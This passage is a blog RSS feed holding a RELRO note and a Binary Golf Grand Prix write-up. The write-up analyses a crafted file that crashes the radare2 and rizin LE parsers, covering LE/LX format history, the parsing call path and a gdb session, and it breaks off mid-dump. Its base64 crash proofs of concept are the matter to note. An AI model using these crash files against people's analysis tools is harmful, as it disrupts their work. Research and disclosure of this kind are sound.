-0400</pubDate><guid>https://n0.lol/notes/elf-relro/</guid><description>&lt;h3 id="question">Question&lt;/h3>
&lt;p>How do you verify if a binary is compiled with RELRO? What do all the flags mean?&lt;/p>
&lt;h3 id="answer">Answer&lt;/h3>
&lt;p>The docs and online discussions about this are super confusing. The whole point of doing RELRO is to set RTLD_NOW when the linker calls &lt;a href="https://man7.org/linux/man-pages/man3/dlopen.3.html">dlopen&lt;/a> in some way. This tells the linker to resolve everything before execution (this actually happens before dlopen returns) and map the area the GOT is in as read-only.&lt;/p>
&lt;p>This can be done in a few ways:&lt;/p>
&lt;ul>
&lt;li>DT_BIND_NOW - A .dynamic section tag that explicitly sets this flag.&lt;/li>
&lt;li>DF_BIND_NOW - A flag within the DT_FLAGS tag in the .dynamic section.&lt;/li>
&lt;li>DF_1_NOW - A flag within DT_FLAGS_1, another .dynamic tag.&lt;/li>
&lt;li>LD_BIND_NOW - This environment variable being a non-empty string will also trigger this.&lt;/li>
&lt;/ul>
&lt;p>Since these are linker instructions, there&amp;rsquo;s nothing stopping a linker from either not supporting something, or ignoring the tag all together.&lt;/p>
&lt;p>The best way to verify is to run the binary on the target system and check the memory permissions for the area that the GOT is in. If it&amp;rsquo;s marked read only, then it was a success.&lt;/p>
&lt;p>Trusting tools like readelf or checksec can lead to a false sense of security, as they can be easily manipulated via malicious crafted ELFs, or with linker/compiler/runtime bugs that can lead to weird outcomes.&lt;/p></description></item><item><title>BGGP3 Results</title><link>https://n0.lol/bggp3-results/</link><pubDate>Tue, 20 Sep 2022 12:00:00 -0400</pubDate><guid>https://n0.lol/bggp3-results/</guid><description>&lt;p>Link: &lt;a href="https://github.com/binarygolf/BGGP/tree/main/2022">https://github.com/binarygolf/BGGP/tree/main/2022&lt;/a>&lt;/p></description></item><item><title>BGGP3: LEMONADE.BIN</title><link>https://n0.lol/lemonade/</link><pubDate>Thu, 01 Sep 2022 12:00:00 -0400</pubDate><guid>https://n0.lol/lemonade/</guid><description>&lt;p>&lt;strong>TODO&lt;/strong> Convert to markdown&lt;/p>
&lt;p>&lt;a href="https://n0.lol/lemonade/">https://n0.lol/lemonade/&lt;/a>&lt;/p>
&lt;p>In late 2020, the radare2 suite of tools was forked into a new project called rizin. Being a fork,
they share much of the same codebase and are working with similar design paradigms for parsing and
handling a wide variety of binary formats.&lt;/p>
&lt;p>Since it&amp;rsquo;s been nearly 2 years of development for Rizin, there is enough of a difference between
them that certain types of files are parsed better by one than the other. Other things like what
information is output have changed.&lt;/p>
&lt;p>For this year&amp;rsquo;s &lt;a href="https://tmpout.sh/bggp/3/">BGGP&lt;/a>, I took a look at r2 and rizin in search of possible candidates for the
smallest crash. My goal then became to find something that crashed both r2 and rizin in the fewest
number of bytes. Several versions of r2 and rizin have come out since the start of the challenge,
so I will focus on behaviors from [radare2 5.7.0](&lt;a href="https://github.com/radareorg/radare2/releases/tag/5.7.0">https://github.com/radareorg/radare2/releases/tag/5.7.0&lt;/a> and &lt;a href="https://github.com/rizinorg/rizin/releases/tag/v0.3.4">rizin 0.3.4&lt;/a>, and note where things changed.&lt;/p>
&lt;blockquote>
&lt;p>SIDE NOTE I found this 32 byte crash in the Xamarin LZ4 decompression part of radare2, but this bug was already reported and fixed in the version of r2 that came out shortly after BGGP3 began. This didn&amp;rsquo;t crash rizin when I tested.&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>POC (base64): &lt;code>WEFMWkYAAAAABCIA8gNNWpAAAwAAAAQAAAD//wAAuAA=&lt;/code>&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>Tweet: &lt;a href="https://twitter.com/netspooky/status/1552047700413235201">https://twitter.com/netspooky/status/1552047700413235201&lt;/a>&lt;/p>
&lt;/blockquote>
&lt;p>In the summer of 2021 I found a simple DOS for radare2 (&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2021-3673">CVE-2021-3673&lt;/a>) by replacing the first byte
of an ELF file with an L. I discuss this bug in tmp.0ut 2:3 &lt;a href="https://tmpout.sh/2/3.html">https://tmpout.sh/2/3.html&lt;/a>&lt;/p>
&lt;p>When running my fuzzer I noticed this same thing came up again. This time, it seemed to crash both
radare2 and rizin in the same way.&lt;/p>
&lt;p>The base64 encoded PoC is as follows. You can grab a copy of rizin or radare2 and follow along.&lt;/p>
&lt;pre tabindex="0">&lt;code>TEVNT05BREUsIExVSCBMVUgsIExFTU9OQURFICAKTEVNT05BREUsIExVSCBMVUgsIExFTU9OQURFICAKDQBIRVkgQkdHUDMK
&lt;/code>&lt;/pre>&lt;h2 id="hold-up-what-the-heck-even-is-lelx">Hold up, what the heck even is LE/LX?&lt;/h2>
&lt;p>Before we got to enjoy the Portable Executables we know and love today, the format had somewhat of
a long lineage, dating back as far as disk operating systems themselves.&lt;/p>
&lt;p>In the DOS days, there were COM files, which were just pure machine code. No header, no sections,
no relocations, just code.&lt;/p>
&lt;p>Since everything happened in Real Mode, there wasn&amp;rsquo;t as much of a need for things like privilege
levels, and memory was flat and entirely available to a given process. You could usually only
execute one program at a time, so the operating system had to make sure that it set up each process
consistently, and in an area that was known to contain process data. A COM file could reliably
execute within this known environment, and registers would be set to default values given by the
operating system. This environment was known as the Program Segment Prefix, and each OS had it&amp;rsquo;s
own defaults.&lt;/p>
&lt;ul>
&lt;li>For more info on Program Segment Prefix: &lt;a href="https://en.wikipedia.org/wiki/Program_Segment_Prefix">https://en.wikipedia.org/wiki/Program_Segment_Prefix&lt;/a>&lt;/li>
&lt;li>For more info on defaults per DOS version: &lt;a href="https://www.fysnet.net/yourhelp.htm">https://www.fysnet.net/yourhelp.htm&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>As operating systems evolved, more control was required over the binaries that ran on the system.
This was for both security, and general usability purposes. The MZ-DOS EXE format came out with
MS-DOS 2.0, and was designed to support things like relocations, which gives the OS the ability
to place code wherever it needs it to be. This is useful for things like linking, which gives way
to DLLs that can extend the functionality of the program by using shared libraries that contain
code reusable by any program on a given system.&lt;/p>
&lt;p>NOTE: There were things such as &lt;a href="https://en.wikipedia.org/wiki/DOS_extender">DOS Extenders&lt;/a> that gave the ability to enforce protections and
use more advanced features while still running in real mode.&lt;/p>
&lt;p>NOTE: PC DOS 1.0 (1981) had LINK.EXE and other .exe existed in MS-DOS 1.25 ( thanks Ange ! )&lt;/p>
&lt;p>When Windows 1.0 came out, the &lt;a href="https://en.wikipedia.org/wiki/New_Executable">&amp;ldquo;New Executable&amp;rdquo;&lt;/a> format came with it. This was a 16 bit .exe that
had even more configurability and allowed for more advanced linking and resource handling. To
maintain backwards compatibility with DOS, it was placed after the MZ header with a small stub
that would run in DOS mode if applicable. This is identical to how PE files are structured today.&lt;/p>
&lt;p>Fun Fact! .FON and .FNT files are NE files.&lt;/p>
&lt;p>File Example From &lt;a href="https://www.chiark.greenend.org.uk/~sgtatham/fonts/">https://www.chiark.greenend.org.uk/~sgtatham/fonts/&lt;/a>&lt;/p>
&lt;pre tabindex="0">&lt;code>▶ yxd -f terminal.fon -s 0x170
00000000│4d5a 8b00 0100 0000│0400 1000 ffff 0000│MZ..............
00000010│0001 0000 0000 0000│4000 0000 0000 0000│........@.......
00000020│0000 0000 0000 0000│0000 0000 0000 0000│................
00000030│0000 0000 0000 0000│0000 0000 9000 0000│................
00000040│ba0e 000e 1fb4 09cd│21b8 014c cd21 5468│........!..L.!Th
00000050│6973 2069 7320 6e6f│7420 6120 7072 6f67│is is not a prog
00000060│7261 6d21 0d0a 466f│6e74 206c 6962 7261│ram!..Font libra
00000070│7279 2063 7265 6174│6564 2062 7920 6d6b│ry created by mk
00000080│7769 6e66 6f6e 742e│0d0a 2400 0000 0000│winfont...$.....
/-- NE header at offset 0x90
00000090│4e45 050a 8c00 0200│0000 0000 0883 0000│NE..............
000000A0│0000 0000 0000 0000│0000 0000 0000 0000│................
000000B0│2000 4000 4000 8000│8c00 8c00 1e01 0000│ .@.@...........
000000C0│0000 0400 0000 0208│0000 0000 0000 0003│................
000000D0│0400 0780 0100 0000│0000 1400 1000 500c│..............P.
000000E0│3800 0000 0000 0880│0200 0000 0000 2400│8.............$.
000000F0│0c02 301c 0180 0000│0000 3002 4d02 301c│..0.......0.M.0.
00000100│0280 0000 0000 0000│0746 4f4e 5444 4952│.........FONTDIR
00000110│0854 6572 6d69 6e61│6c00 0000 0000 1c46│.Terminal......F
00000120│4f4e 5452 4553 2031│3030 2c39 362c 3936│ONTRES 100,96,96
00000130│203a 2054 6572 6d69│6e61 6c00 0000 0000│ : Terminal.....
00000140│0200 0100 0003 bd20│0000 5075 626c 6963│....... ..Public
00000150│2064 6f6d 6169 6e20│666f 6e74 2e20 2053│ domain font. S
00000160│6861 7265 2061 6e64│2065 6e6a 6f79 2e00│hare and enjoy..
&lt;/code>&lt;/pre>&lt;h2 id="introducing-lelx">Introducing LE/LX&lt;/h2>
&lt;p>In the mid-80s, Microsoft had a partnership with IBM, who created OS/2 as a successor to their own
PC DOS. As a result, the &lt;a href="http://fileformats.archiveteam.org/wiki/Linear_Executable">Linear Executable&lt;/a> file format was created between them.&lt;/p>
&lt;p>As both OSes evolved, the New Executable format was replaced in favor of a more versatile 32 bit
format. There&amp;rsquo;s not that much information about that that I can find, but sometime around 1987 with
the release of OS/2, Linear Executables became more common. LX with an MZ header was the default
binary format for OS/2, and LE with a MZ header was used for user binaries on DOS and Windows 3.x.
LE files were also used for &lt;a href="https://en.wikipedia.org/wiki/VxD">VxD drivers&lt;/a> for Windows 3.x until Windows 9.x.&lt;/p>
&lt;p>The [PE format](&lt;a href="https://docs.microsoft.com/en-us/archive/msdn-magazine/2002/february/inside-windows-win32-portable-executable-file-format-in-detail">https://docs.microsoft.com/en-us/archive/msdn-magazine/2002/february/inside-windows-win32-portable-executable-file-format-in-detail&lt;/a> came out around 1993 with the release of Windows NT 3.1, and eventually became the
standard. PE32+ came out with the first 64 bit Windows versions some time around 2005.&lt;/p>
&lt;p>This is an example of an LX file, the &lt;code>date&lt;/code> command for OS/2&lt;/p>
&lt;p>From: &lt;a href="http://cd.textfiles.com/hobbesos29411/BIN/DATE.EXE">http://cd.textfiles.com/hobbesos29411/BIN/DATE.EXE&lt;/a>&lt;/p>
&lt;pre tabindex="0">&lt;code>▶ yxd -f DATE.EXE -s 0x100
00000000│4d5a 0000 0200 0000│0400 0000 ffff 0800│MZ..............
00000010│0002 0000 0000 0000│4000 0000 0000 0000│........@.......
00000020│0000 0000 0000 0000│0000 0000 0000 0000│................
00000030│0000 0000 0000 0000│0000 0000 8000 0000│................
00000040│0e1f ba0e 00b4 09cd│21b8 014c cd21 5468│........!..L.!Th
00000050│6973 2070 726f 6772│616d 2063 616e 6e6f│is program canno
00000060│7420 6265 2072 756e│2069 6e20 6120 444f│t be run in a DO
00000070│5320 7365 7373 696f│6e2e 0d0d 0a24 0000│S session....$..
00000080│4c58 0000 0000 0000│0200 0100 0100 0200│LX..............
00000090│1002 0000 0400 0000│0100 0000 0000 0000│................
000000A0│0500 0000 0080 0000│0010 0000 0900 0000│................
000000B0│0901 0000 0000 0000│a100 0000 0000 0000│................
000000C0│c400 0000 0500 0000│3c01 0000 0000 0000│........&amp;lt;.......
000000D0│0000 0000 0000 0000│5c01 0000 6401 0000│........\...d...
000000E0│0000 0000 0000 0000│6501 0000 7901 0000│........e...y...
000000F0│5b02 0000 0300 0000│6e02 0000 0000 0000│[.......n.......
&lt;/code>&lt;/pre>&lt;p>This is an example of a VxD driver in the LE format. From: &lt;a href="http://cd.textfiles.com/silvercollection/disc4/DRIVERS/19GXE.ARJ">http://cd.textfiles.com/silvercollection/disc4/DRIVERS/19GXE.ARJ&lt;/a>&lt;/p>
&lt;pre tabindex="0">&lt;code>▶ yxd -f VDDS3.386 -s 0x100
00000000│4d5a 3d00 4f00 0000│0400 0000 ffff 0000│MZ=.O...........
00000010│b800 0000 0000 0000│4000 0000 0000 0000│........@.......
00000020│0000 0000 0000 0000│0000 0000 0000 0000│................
00000030│0000 0000 0000 0000│0000 0000 8000 0000│................
00000040│0e1f ba0e 00b4 09cd│21b8 014c cd21 5468│........!..L.!Th
00000050│6973 2070 726f 6772│616d 2063 616e 6e6f│is program canno
00000060│7420 6265 2072 756e│2069 6e20 444f 5320│t be run in DOS
00000070│6d6f 6465 2e0d 0a24│0000 0000 0000 0000│mode...$........
00000080│4c45 0000 0000 0000│0200 0400 0000 0000│LE..............
00000090│2080 0000 0a00 0000│0300 0000 0000 0000│ ...............
000000A0│0000 0000 0000 0000│0010 0000 0b00 0000│................
000000B0│080a 0000 0000 0000│8600 0000 0000 0000│................
000000C0│c400 0000 0300 0000│0c01 0000 0000 0000│................
000000D0│0000 0000 0000 0000│3401 0000 3f01 0000│........4...?...
000000E0│0000 0000 0000 0000│4a01 0000 7601 0000│........J...v...
000000F0│500b 0000 0000 0000│510b 0000 0000 0000│P.......Q.......
&lt;/code>&lt;/pre>&lt;p>This is also an LE file! &lt;a href="http://cd.textfiles.com/doomcompanion/DOOM/DOOM.EXE">http://cd.textfiles.com/doomcompanion/DOOM/DOOM.EXE&lt;/a>&lt;/p>
&lt;p>Whew, who knew binaries would be so complicated?? Here&amp;rsquo;s a little chart showing the evolution of
binary formats from COM to PE32+. Click on the names for more info. (You might have to zoom in!)&lt;/p>
&lt;pre class="mermaid">%%{init: {'theme':'dark'}}%%
flowchart TB
classDef o fill:#123
COM["&lt;b>&lt;a href='https://en.wikipedia.org/wiki/COM_file'>COM&lt;/a> (1974)&lt;/b>&lt;br>Originally for CP/M and&lt;br>DEC VAX 16-bit, real-mode "]:::o
MZ-DOS["&lt;b>&lt;a href='https://wiki.osdev.org/MZ'>MZ-DOS&lt;/a> (1983)&lt;/b>&lt;br>For DOS 2.0. Has 'MZ' &lt;br>header, metadata, relocations"]:::o
AOFF["&lt;b>&lt;a href='http://www.nj7p.org/Manuals/PDFs/Intel/9800183B.pdf'>AOFF&lt;/a> (1977)&lt;/b>&lt;br>&lt;i>Absolute Object File Format&lt;/i>&lt;br>Intel internal format."]:::o
OMF["&lt;b>&lt;a href='https://www.os2museum.com/wp/how-old-is-omf/'>OMF&lt;/a> (1981)&lt;/b>&lt;br>'Relocatable Object Module&lt;br>Format' By Intel, AKA .obj "]:::o
CMD["&lt;b>&lt;a href='https://en.wikipedia.org/wiki/CMD_file_(CP/M)'>CMD&lt;/a> (1981)&lt;/b>&lt;br>For CP/M and other &lt;br>DOS-like OS "]:::o
NE["&lt;b>&lt;a href='https://wiki.osdev.org/NE'>NE&lt;/a> (1985)&lt;/b>&lt;br>'New Executable'. For &lt;br>Windows 1.0 and OS/2 "]:::o
LX["&lt;b>&lt;a href='http://www.textfiles.com/programming/FORMATS/lxexe.txt'>LX&lt;/a> (1987)&lt;/b>&lt;br>'Linear Executable' &lt;br>OS/2 2.0, 32 bit"]:::o
LE["&lt;b>&lt;a href='https://faydoc.tripod.com/formats/exe-LE.htm'>LE&lt;/a> (1987)&lt;/b>&lt;br>'Linear Executable' &lt;br>Mixed 16/32 bit, &lt;br>Windows VxD Drivers &lt;br>from 3.x-9.x, OS/2, &lt;br>DOS extenders, user &lt;br>Windows binaries."]:::o
PE["&lt;b>&lt;a href='https://docs.microsoft.com/en-us/windows/win32/debug/pe-format'>PE&lt;/a> (1993)&lt;/b>&lt;br>'Portable Executable'&lt;br>32 bit, for Windows &lt;br>NT 3.1 and later, and &lt;br>many other platforms &lt;br>like UEFI :) "]:::o
PE32["&lt;b>&lt;a href='https://docs.microsoft.com/en-us/windows/win32/debug/pe-format'>PE32+&lt;/a> (2005)&lt;/b>&lt;br>64bit x86 PEs. &lt;br>NOTE: 64 bit &lt;br>architectures were &lt;br>supported with PE, &lt;br>but the format wasn't &lt;br>updated until the &lt;br>x86_64 version."]:::o
AOUT["&lt;b>&lt;a href='https://www.bell-labs.com/usr/dmr/www/man51.pdf'>a.out&lt;/a> (1971)&lt;/b>&lt;br>'Assembler Output' &lt;br>First format for &lt;br>Unix, PDP-7 and &lt;br>PDP-11. Also used &lt;br>in early Linux."]:::o
COFF["&lt;b>&lt;a href='https://en.wikipedia.org/wiki/COFF'>COFF&lt;/a> (1983)&lt;/b>&lt;br>'Common Object File Format'"]:::o
ECOFF["&lt;b>&lt;a href='https://en.wikipedia.org/wiki/ECOFF'>ECOFF&lt;/a> (1984)&lt;/b>&lt;br>'Extended COFF' &lt;br>Designed for MIPS &lt;br>on DEC Ultrix, &lt;br>Tru64, SGI Irix, &lt;br>Linux/MIPS, and &lt;br>Net Yaroze"]:::o
XCOFF["&lt;b>&lt;a href='https://en.wikipedia.org/wiki/XCOFF'>XCOFF&lt;/a> (1986)&lt;/b>&lt;br>'eXtended COFF' &lt;br>For AIX from IBM "]:::o
ELF["&lt;b>&lt;a href='https://en.wikipedia.org/wiki/Executable_and_Linkable_Format'>ELF&lt;/a> (1988)&lt;/b>&lt;br>Replaced COFF&lt;br>in Unix SVR4"]:::o
COM --> CMD
COM --> MZ-DOS
COM --> OMF
AOFF --> OMF
MZ-DOS --> NE
NE --> LE
NE --> LX
LE --> PE
PE --> PE32
AOUT --> COFF
COFF --> ECOFF
COFF --> XCOFF
COFF ---> ELF
COFF ---> PE
&lt;/pre>
&lt;h2 id="understanding-lelx-binaries">Understanding LE/LX Binaries&lt;/h2>
&lt;p>Now that we know some of the history, let&amp;rsquo;s get into the format.&lt;/p>
&lt;p>It&amp;rsquo;s pretty typical of these early binary formats, with simple set up and pointers to different
sections, as well as sizes and number of elements.&lt;/p>
&lt;ul>
&lt;li>REF: &lt;a href="http://www.textfiles.com/programming/FORMATS/lxexe.txt">http://www.textfiles.com/programming/FORMATS/lxexe.txt&lt;/a>&lt;/li>
&lt;li>REF: &lt;a href="https://faydoc.tripod.com/formats/exe-LE.htm">https://faydoc.tripod.com/formats/exe-LE.htm&lt;/a>&lt;/li>
&lt;li>REF: &lt;a href="https://github.com/open-watcom/open-watcom-v2/blob/master/bld/watcom/h/exeflat.h">https://github.com/open-watcom/open-watcom-v2/blob/master/bld/watcom/h/exeflat.h&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>This layout can be thought of similarly to the PE format, with a pointer to it from inside the
DOS header at offset 0x3C.&lt;/p>
&lt;pre tabindex="0">&lt;code> +-----+-----+-----+-----+-----+-----+-----+-----+
00h | &amp;#34;L&amp;#34; &amp;#34;X&amp;#34; |B-ORD|W-ORD| FORMAT LEVEL |
+-----+-----+-----+-----+-----+-----+-----+-----+
08h | CPU TYPE | OS TYPE | MODULE VERSION |
+-----+-----+-----+-----+-----+-----+-----+-----+
10h | MODULE FLAGS | MODULE # OF PAGES |
+-----+-----+-----+-----+-----+-----+-----+-----+
18h | EIP OBJECT # | EIP |
+-----+-----+-----+-----+-----+-----+-----+-----+
20h | ESP OBJECT # | ESP |
+-----+-----+-----+-----+-----+-----+-----+-----+
28h | PAGE SIZE | PAGE OFFSET SHIFT |
+-----+-----+-----+-----+-----+-----+-----+-----+
30h | FIXUP SECTION SIZE | FIXUP SECTION CHECKSUM|
+-----+-----+-----+-----+-----+-----+-----+-----+
38h | LOADER SECTION SIZE |LOADER SECTION CHECKSUM|
+-----+-----+-----+-----+-----+-----+-----+-----+
40h | OBJECT TABLE OFF | # OBJECTS IN MODULE |
+-----+-----+-----+-----+-----+-----+-----+-----+
48h | OBJECT PAGE TABLE OFF | OBJECT ITER PAGES OFF |
+-----+-----+-----+-----+-----+-----+-----+-----+
50h | RESOURCE TABLE OFFSET |#RESOURCE TABLE ENTRIES|
+-----+-----+-----+-----+-----+-----+-----+-----+
58h | RESIDENT NAME TBL OFF | ENTRY TABLE OFFSET |
+-----+-----+-----+-----+-----+-----+-----+-----+
60h | MODULE DIRECTIVES OFF | # MODULE DIRECTIVES |
+-----+-----+-----+-----+-----+-----+-----+-----+
68h | FIXUP PAGE TABLE OFF |FIXUP RECORD TABLE OFF |
+-----+-----+-----+-----+-----+-----+-----+-----+
70h | IMPORT MODULE TBL OFF | # IMPORT MOD ENTRIES |
+-----+-----+-----+-----+-----+-----+-----+-----+
78h | IMPORT PROC TBL OFF | PER-PAGE CHECKSUM OFF |
+-----+-----+-----+-----+-----+-----+-----+-----+
80h | DATA PAGES OFFSET | #PRELOAD PAGES |
+-----+-----+-----+-----+-----+-----+-----+-----+
88h | NON-RES NAME TBL OFF | NON-RES NAME TBL LEN |
+-----+-----+-----+-----+-----+-----+-----+-----+
90h | NON-RES NAME TBL CKSM | AUTO DS OBJECT # |
+-----+-----+-----+-----+-----+-----+-----+-----+
98h | DEBUG INFO OFF | DEBUG INFO LEN |
+-----+-----+-----+-----+-----+-----+-----+-----+
A0h | #INSTANCE PRELOAD | #INSTANCE DEMAND |
+-----+-----+-----+-----+-----+-----+-----+-----+
A8h | HEAPSIZE |
+-----+-----+-----+-----+
&lt;/code>&lt;/pre>&lt;p>Within here is the Object Table, which points to a number of objects the LE needs to have
set up in order to run.&lt;/p>
&lt;pre tabindex="0">&lt;code> +-----+-----+-----+-----+-----+-----+-----+-----+
00h | VIRTUAL SIZE | RELOC BASE ADDR |
+-----+-----+-----+-----+-----+-----+-----+-----+
08h | OBJECT FLAGS | PAGE TABLE INDEX |
+-----+-----+-----+-----+-----+-----+-----+-----+
10h | # PAGE TABLE ENTRIES | RESERVED |
+-----+-----+-----+-----+-----+-----+-----+-----+
&lt;/code>&lt;/pre>&lt;p>The Object Page Table is the element of the Object Table which directly relate to objects to
load and their associated sizes and flags.&lt;/p>
&lt;pre tabindex="0">&lt;code> 63 32 31 16 15 0
+-----+-----+-----+-----+-----+-----+-----+-----+
00h | PAGE DATA OFFSET | DATA SIZE | FLAGS |
+-----+-----+-----+-----+-----+-----+-----+-----+
&lt;/code>&lt;/pre>&lt;p>These structures will be handy to know later on.&lt;/p>
&lt;h2 id="how-le-files-are-parsed">How LE files are parsed&lt;/h2>
&lt;p>So we know that LE files follow the typical parsing mechanism required for PEs and other similar
binaries. We also know that they have relative offsets and are pointed to by the MZ header. This
means that a good parser will be able to seek to this offset and parse LE independently of the
header that came before it.&lt;/p>
&lt;p>When a binary is loaded into rizin or radare 2, it is read by the program and processed as close
to the spec as possible.&lt;/p>
&lt;p>This is the path it takes in Rizin (per 0.3.4 source but the logic is roughly the same throughout)
once the initial loading of the file and other environment checks are done.&lt;/p>
&lt;ol>
&lt;li>&lt;a href="https://github.com/rizinorg/rizin/blob/34d345d884a83d8fbf9f2dd0b6d9276f1bf0095c/librz/bin/bin.c#L279">rz_bin_open_buf&lt;/a>&lt;/li>
&lt;/ol>
&lt;ul>
&lt;li>This opens the buffer and does some basic checks&lt;/li>
&lt;li>Calls &lt;a href="https://github.com/rizinorg/rizin/blob/34d345d884a83d8fbf9f2dd0b6d9276f1bf0095c/librz/bin/bin.c#L314">rz_bin_file_new_from_buffer&lt;/a>&lt;/li>
&lt;/ul>
&lt;ol start="2">
&lt;li>&lt;a href="https://github.com/rizinorg/rizin/blob/34d345d884a83d8fbf9f2dd0b6d9276f1bf0095c/librz/bin/bfile.c#L441">rz_bin_file_new_from_buffer&lt;/a>&lt;/li>
&lt;/ol>
&lt;ul>
&lt;li>Calls &lt;a href="https://github.com/rizinorg/rizin/blob/34d345d884a83d8fbf9f2dd0b6d9276f1bf0095c/librz/bin/bfile.c#L441">get_plugin_from_buffer&lt;/a>
&lt;ul>
&lt;li>This check tries to figure out what plugin to use to parse the file, there are two types:
&lt;ol>
&lt;li>&lt;a href="https://github.com/rizinorg/rizin/blob/34d345d884a83d8fbf9f2dd0b6d9276f1bf0095c/librz/bin/bin.c#L377">rz_bin_get_binplugin_by_name&lt;/a>&lt;/li>
&lt;/ol>
&lt;ul>
&lt;li>This check doesn&amp;rsquo;t pass in the PoC file, but if the plugin is already known (like if this is a sub-file in a container format), then this will grab it.&lt;/li>
&lt;/ul>
&lt;ol start="2">
&lt;li>&lt;a href="https://github.com/rizinorg/rizin/blob/34d345d884a83d8fbf9f2dd0b6d9276f1bf0095c/librz/bin/bin.c#L391">rz_bin_get_binplugin_by_buffer&lt;/a>&lt;/li>
&lt;/ol>
&lt;ul>
&lt;li>This goes through the list of available plugins and runs the &lt;code>check_buffer&lt;/code> callback for each heuristic.&lt;/li>
&lt;li>The LE format&amp;rsquo;s &lt;code>check_buffer&lt;/code> function is called&lt;/li>
&lt;li>To pass the LE &lt;code>check_buffer&lt;/code>, only a few things have to be set:
&lt;ul>
&lt;li>Length must be greater than 2&lt;/li>
&lt;li>There has to be some value at +0x3C (This is the pointer to the LE header)&lt;/li>
&lt;li>This value (idx) + 26 must not be greater than the size of the file&lt;/li>
&lt;li>The LE or LX magic value must be at the start of the buffer, or if MZ is at the start, then the idx is used to find the LE/LX header&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>If the buffer doesn&amp;rsquo;t match any of the plugin&amp;rsquo;s heuristics, then the dummy plugin is selected&lt;/li>
&lt;li>After plugin is found, calls &lt;a href="https://github.com/rizinorg/rizin/blob/34d345d884a83d8fbf9f2dd0b6d9276f1bf0095c/librz/bin/bfile.c#L449">rz_bin_object_new&lt;/a>&lt;/li>
&lt;/ul>
&lt;ol start="3">
&lt;li>&lt;a href="https://github.com/rizinorg/rizin/blob/34d345d884a83d8fbf9f2dd0b6d9276f1bf0095c/librz/bin/bobj.c#L246">rz_bin_object_new&lt;/a>&lt;/li>
&lt;/ol>
&lt;ul>
&lt;li>Creates a new RzBin object for parsing&lt;/li>
&lt;li>Calls &lt;a href="https://github.com/rizinorg/rizin/blob/34d345d884a83d8fbf9f2dd0b6d9276f1bf0095c/librz/bin/bobj.c#L292">rz_bin_object_set_items&lt;/a>&lt;/li>
&lt;/ul>
&lt;ol start="4">
&lt;li>&lt;a href="https://github.com/rizinorg/rizin/blob/34d345d884a83d8fbf9f2dd0b6d9276f1bf0095c/librz/bin/bobj.c#L374">rz_bin_object_set_items&lt;/a>&lt;/li>
&lt;/ol>
&lt;ul>
&lt;li>Each plugin has a set of callbacks that are used for parsing. Here, the callbacks are checked and ran on the buffer.&lt;/li>
&lt;li>Eventually, it gets to the &lt;a href="https://github.com/rizinorg/rizin/blob/34d345d884a83d8fbf9f2dd0b6d9276f1bf0095c/librz/bin/bobj.c#L417">check for p-&amp;gt;maps&lt;/a>&lt;/li>
&lt;li>&lt;code>.maps&lt;/code> callback is &lt;a href="https://github.com/rizinorg/rizin/blob/34d345d884a83d8fbf9f2dd0b6d9276f1bf0095c/librz/bin/p/bin_le.c#L162">rz_bin_maps_of_file_sections&lt;/a>&lt;/li>
&lt;/ul>
&lt;ol start="5">
&lt;li>&lt;a href="https://github.com/rizinorg/rizin/blob/34d345d884a83d8fbf9f2dd0b6d9276f1bf0095c/librz/bin/bin.c#L1123">rz_bin_maps_of_file_sections&lt;/a>&lt;/li>
&lt;/ol>
&lt;ul>
&lt;li>This is a generic function that eventually calls the LE callback &lt;a href="https://github.com/rizinorg/rizin/blob/34d345d884a83d8fbf9f2dd0b6d9276f1bf0095c/librz/bin/bin.c#L1128">.sections&lt;/a>&lt;/li>
&lt;li>The .sections callback is a wrapper for &lt;a href="https://github.com/rizinorg/rizin/blob/34d345d884a83d8fbf9f2dd0b6d9276f1bf0095c/librz/bin/p/bin_le.c#L111">rz_bin_le_get_sections&lt;/a>&lt;/li>
&lt;/ul>
&lt;ol start="6">
&lt;li>&lt;a href="https://github.com/rizinorg/rizin/blob/34d345d884a83d8fbf9f2dd0b6d9276f1bf0095c/librz/bin/format/le/le.c#L334">rz_bin_le_get_sections&lt;/a>&lt;/li>
&lt;/ol>
&lt;ul>
&lt;li>This is the function that goes wild&lt;/li>
&lt;li>It&amp;rsquo;s because at this point it trusts the input from the previous functions.&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Let&amp;rsquo;s debug and see what happens!!&lt;/strong>&lt;/p>
&lt;h2 id="debugging-the-parser">Debugging the parser&lt;/h2>
&lt;p>Our buffer is as follows:&lt;/p>
&lt;pre tabindex="0">&lt;code>00000000│4c45 4d4f 4e41 4445│2c20 4c55 4820 4c55│LEMONADE, LUH LU
00000010│482c 204c 454d 4f4e│4144 4520 200a 4c45│H, LEMONADE .LE
00000020│4d4f 4e41 4445 2c20│4c55 4820 4c55 482c│MONADE, LUH LUH,
00000030│204c 454d 4f4e 4144│4520 200a 0d00 4845│ LEMONADE ...HE
00000040│5920 4247 4750 330a│ │Y BGGP3.
&lt;/code>&lt;/pre>&lt;p>Get set up with the debugger:&lt;/p>
&lt;pre tabindex="0">&lt;code>$ gdb --args /home/user/rizin/rizin-0.3.4/build/binrz/rz-bin/rz-bin -I lemonade.bin
...
gef➤ start
gef➤ break rz_bin_le_get_sections
gef➤ continue
gef➤ break 344
&lt;/code>&lt;/pre>&lt;p>At this point, we are just after the check that the section was properly allocated. LEt&amp;rsquo;s examine the state of our object.&lt;/p>
&lt;p>This is the header that rizin now has internally.&lt;/p>
&lt;pre tabindex="0">&lt;code>gef➤ p *h
$1 = {
magic = &amp;#34;LE&amp;#34;,
border = 0x4d,
worder = 0x4f,
level = 0x4544414e,
cpu = 0x202c,
os = 0x554c,
ver = 0x554c2048,
mflags = 0x4c202c48,
mpages = 0x4e4f4d45,
startobj = 0x20454441,
eip = 0x454c0a20,
stackobj = 0x414e4f4d,
esp = 0x202c4544,
pagesize = 0x2048554c,
pageshift = 0x2c48554c,
fixupsize = 0x4d454c20,
fixupsum = 0x44414e4f,
ldrsize = 0xa202045,
ldrsum = 0x4548000d,
objtab = 0x47422059,
objcnt = 0xa335047,
objmap = 0x0,
itermap = 0x0,
rsrctab = 0x0,
rsrccnt = 0x0,
restab = 0x0,
enttab = 0x0,
dirtab = 0x0,
dircnt = 0x0,
fpagetab = 0x0,
frectab = 0x0,
impmod = 0x0,
